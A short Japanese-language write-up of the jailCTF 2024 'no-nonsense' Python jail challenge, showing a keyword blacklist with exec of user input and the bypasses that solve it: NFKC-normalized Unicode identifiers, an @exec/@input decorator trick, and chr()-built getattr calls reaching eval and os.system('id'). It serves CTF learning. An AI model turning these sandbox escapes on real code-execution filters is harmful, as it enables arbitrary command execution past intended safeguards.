jailCTF 2024 - no-nonsense
Challenge
特定のキーワードがブラックリストされ、AST検証も行われる環境。
import ast
BLACKLIST = ['import', 'eval', 'exec', 'open', 'os', 'sys', 'builtins']
code = input()
# 文字列チェックfor word in BLACKLIST: if word in code.lower(): print("Blacklisted!") exit()
# AST チェックtree = ast.parse(code)# ... 追加の検証 ...
exec(code)Solution
Unicode 等価文字
NFKC 正規化を利用してブラックリストをバイパス:
# 'import' の代わりに全角文字import os
# 'eval' の代わりにeval('...')
# 'os' の代わりにos.system('id')AST バイパス
デコレータ構文を利用:
@exec@inputclass X: pass文字列構築との組み合わせ
# chr() で文字列を構築してブラックリスト回避getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))('...')Technical Details
Unicode 正規化
Python は識別子を NFKC 正規化する:
import unicodedata
# 全角 'a' → 半角 'a'unicodedata.normalize('NFKC', 'a') # 'a'
# 上付き文字も正規化されるunicodedata.normalize('NFKC', 'ᵉ') # 'e'使用可能な等価文字
| 通常 | 全角 | その他 |
|---|---|---|
| a | a | ᵃ |
| e | e | ᵉ |
| i | i | ⁱ |
| o | o | ᵒ |
| _ | _ |
Flag
jail{...}
References
- jailCTF 2024 Official
- Unicode NFKC Normalization